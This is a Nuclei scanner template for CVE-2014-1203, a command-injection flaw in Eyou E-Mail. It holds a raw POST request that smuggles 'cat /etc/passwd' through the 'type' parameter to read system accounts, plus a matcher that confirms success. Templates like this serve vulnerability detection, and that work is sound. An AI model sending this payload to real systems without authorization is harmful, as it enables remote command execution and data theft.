id: CVE-2014-1203

info:
  name: Eyou E-Mail <3.6 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Eyou Mail System before 3.6 allows remote attackers to execute arbitrary commands via shell metacharacters in the domain parameter to admin/domain/ip_login_set/d_ip_login_get.php via the get_login_ip_config_file function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to a patched version of Eyou E-Mail <3.6 or apply the necessary security patches.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
    - https://nvd.nist.gov/vuln/detail/CVE-2014-1203
    - http://seclists.org/fulldisclosure/2014/Jan/32
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-1203
    cwe-id: CWE-77
    epss-score: 0.15647
    epss-percentile: 0.96424
    cpe: cpe:2.3:a:eyou:eyou:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eyou
    product: eyou
  tags: cve2014,cve,seclists,rce,eyou,vuln

http:
  - raw:
      - |
        POST /webadm/?q=moni_detail.do&action=gragh HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type='|cat /etc/passwd||'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a7148a405d022e5d8acf69007a611381c7716d11f1d3ea94486a680918e80810022100d076525d87a36a83a85c8d917d8f561e5f6c1e09da1fbeab75a1ee6ce3500e70:922c64590222798bb761d5b6d8e72950